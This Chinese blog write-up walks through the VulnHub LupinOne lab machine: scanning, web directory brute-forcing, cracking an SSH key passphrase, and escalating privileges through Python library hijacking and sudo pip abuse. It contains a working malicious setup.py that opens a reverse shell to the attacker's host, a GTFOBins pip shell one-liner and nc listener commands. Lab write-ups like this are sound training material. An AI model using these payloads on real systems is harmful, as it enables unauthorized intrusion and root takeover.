VulnHub靶场LupinOne

这个靶场是一个很好的练习环境,整套渗透流程,用来模拟环境非常合适

链接:https://pan.baidu.com/s/1lX79juqZJl4roKakTwWQxQ 
提取码:8rcv

在这里,我把我遇到的问题一起分享给大家

直接解压用虚拟机打开就行,不用自己配置,没有账号密码,需要自己一步步来,对了,这是自动获取IP的,不需要自己配置.
在这里插入图片描述

一.信息收集

信息收集是很重要的,举个栗子来说,比如约出自己的女神出来玩,肯定向了解女神的经济情况还有喜好嘛,通过她的微信朋友圈,她身边的好友,淘宝等等,了解一个人,就要从最贴近生活的方向开始,就像"只有千日做贼,那有千日防贼",感觉有点不太贴切,意思是差不多的,用这个只是想表达信息收集的重要性.

1.1寻找目标

在正常情况下,我们并不知道目标IP,在这里可以使用nmap进行扫描,Nmap具体是什么可以百度了解,这里不在多说.

我的kali所用IP:192.168.31.15(后面我的ip会变化,因为这不是再一个地方完成的,但是不影响参考)

nmap探测

命令:nmap 192.168.31.15/24
在这里插入图片描述

Nmap是一个很强大的工具,关于它的用法一定要好好掌握,上图中可以看到IP为’192.168.31.251’的就是靶机地址,详细扫描

在这里插入图片描述

靶机开发了22和80端口

默认就是访问80端口

检查出现一句话" Its an easy box, dont give up. “意思是"它是一个简单的盒子,不要放弃。”
在这里插入图片描述

至于22端口是ssh的,现在没有账号密码也无法使用

到这里,就可以进入下一个模块了

二.Web渗透

2.1目录遍历扫描

对于目录遍历,在一些大企业的网站,都有安全设备,对于目录遍历这样的操作,是会有告警的,最近一直在重保,这样的告警很多很多.

对于目录遍历,工具有很多,比如 御剑,gobuster,DirBuster及wwwscan等,而这些都是工具,在Github都能找到.最主要的还是字典.

在这里我使用gobuster进行目录遍历

我的字典位置

在这里插入图片描述

gobuster dir -w big.txt -u http://192.168.31.251

在这里插入图片描述
上面扫描的结果出来了,返回值200的时robots.txt文件

在这里插入图片描述在这里插入图片描述在这里插入图片描述

试着访问~myfile这个文件夹,好家伙,页面就是404,下面还有一个注释的话“你可以的,继续努力。”
在这里插入图片描述

到这里似乎陷入僵局,猜测需要传参数

wfuzz -c -w discovery/predictable-filepaths/filename-dirname-bruteforce/upload_variants.txt -u http://192.168.43.36/~myfiles/?FUZZ=a

没用,继续目录扫描

wfuzz -c -w directory-list-2.3-big.txt -u http://192.168.43.36/~FUZZ |grep -v 404

过滤掉404

目前就出来一个,通过浏览器访问

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

这段文字包含信息很多,需要仔细阅读

私钥文件一般使用格式:txt、html、pub、cer、pem、der、key等等

这里爆破使用burp2021.21.1,截取数据报,隐藏文件格式就像这样的

在这里插入图片描述

设置位置以及字典

在这里插入图片描述
在这里插入图片描述

这里不得不提中文版的真舒服,第一个位置用这个字典,对了这字典在GitHub都能找到。这里就不多说了
在这里插入图片描述

第二个字典自己手动添加就行,文件后缀名,线程60

在这里插入图片描述

……我错了,中文版的执行爆破程序报错,英文版的没有问题,我这是第一次用这个版本,唉,bug还是太多了
在这里插入图片描述

既然出来了,就没有必要再往下跑了,访问这个文件(后面的我试了,没有其它文件了)
在这里插入图片描述

看着这像base64,试着转码一下,很明显,这个不是

在这里插入图片描述

这里推荐一个网站 链接: link. https://www.dcode.fr/identification-chiffrement

这个网站可以识别一些加密方式,Base58概率最大

在这里插入图片描述

可以看到,解码出来的结果就是一个证书

在这里插入图片描述

将其保存以下形式

在这里插入图片描述

2.2破解私钥爆破密码

之前做的时候,kali自带的python3.x,执行ss2john.py报错,这个是我其他系统配置的python2.7环境,可以正常执行这个脚本
在这里插入图片描述在这里插入图片描述在这里插入图片描述
这个就是生成的内容,发送到kali中,使用john爆破密码

还记得上上面有段话吗,这个关键咱们现在用到了
在这里插入图片描述
在这里插入图片描述

关于john的用法可以百度,可以看它的帮助命令,很简单使用

john creck.txt --fork=4 fork --wordlist=/usr/share/wordlists/fasttrack.txt

在这里插入图片描述

密码出来了,P@55w0rd! ,密码出来了,用户名呢?难道是root,怎么可能呢,用户名就是icex64,上面那段文字给的

2.3登录

在这里插入图片描述

设置权限为600,私钥文件仅可自己读,但是,我这里登录不上去
在这里插入图片描述

可以通过XSHLL
在这里插入图片描述
在这里插入图片描述

输入后确定,也可修改密码,点击浏览-属性-修改密码,记住密码,登录即可
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}

有个flag

三.提权

3.1提权到arsene

关于sudo的命令可以查看它的帮助

sudo -l   #-l, --list 列出用户的权限或检查特定命令;

在这里插入图片描述

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7iAXcFOe-1643723462374)(C:\Users\yds\Desktop\漏洞详解\靶机练习No.7 VulnHub靶场LupinOne\靶机练习No.7 VulnHub靶场LupinOne.assets\image-20220130235932932.png)]

查看action文件内容,还有一个note.txt,没别的意思 ,就是要执行heist.py

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bJOp1HpR-1643723462374)(C:\Users\yds\Desktop\漏洞详解\靶机练习No.7 VulnHub靶场LupinOne\靶机练习No.7 VulnHub靶场LupinOne.assets\image-20220131000906273.png)]

好了,再次查看heist.py这个文件

这里引入webbrowser

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fOc3XxB0-1643723462374)(C:\Users\yds\Desktop\漏洞详解\靶机练习No.7 VulnHub靶场LupinOne\靶机练习No.7 VulnHub靶场LupinOne.assets\image-20220131001540337.png)]

查找webbrowser

locate webbrowser

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LRKJrZNa-1643723462374)(C:\Users\yds\Desktop\漏洞详解\靶机练习No.7 VulnHub靶场LupinOne\靶机练习No.7 VulnHub靶场LupinOne.assets\image-20220131001921386.png)]
编辑文件添加下面那句话,我这使用vi出问题.所以用的nano
在这里插入图片描述在这里插入图片描述

执行id,成功提权到arsene

在这里插入图片描述

3.2提权到root_1

https://gtfobins.github.io/  #Linux提权

在这里插入图片描述

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

在这里插入图片描述



在这里插入图片描述

flag:

3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}

结束

3.3提权到root_2

通过反弹shell方式连接

通过这种方式,会遇到权限问题,需要再"/home/icex64"目录下创建一个名为“setup.py”的文件,如果你这个时候,权限是arsene的权限,你是无法再这里创建的,需要再icex64权限下创建"setup.py"

vi setup.py #或者是nano setup.py
from setuptools import setup
from setuptools.command.install import install
import os, socket, subprocess

class CustomInstall(install):
  def run(self):
    install.run(self)
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.10.131",4444)) #此处是kali ip地址
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])

setup(name='FakePip',
      version='0.0.1',
      description='Reverse shell',
      url='xx.xx.xx.xx',
      author='nathan',
      author_email='xx@xx',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

如果,你没再icex64下面创建此脚本,

再执行此脚本前,需要再kali中执行监听,会报错
在这里插入图片描述

nc -lvvp 4444

在这里插入图片描述

再执行

sudo pip install . --upgrade

在这里插入图片描述
kali中显示

在这里插入图片描述
在这里插入图片描述

3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
See you on the next heist.

好了,到这里差不多结束了

也可以再root命令下修改root密码

passwd root

在这里插入图片描述
在这里插入图片描述

当然了,也可以修改其他用户密码了

四.收获

实践是检验真理的唯一标准
Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐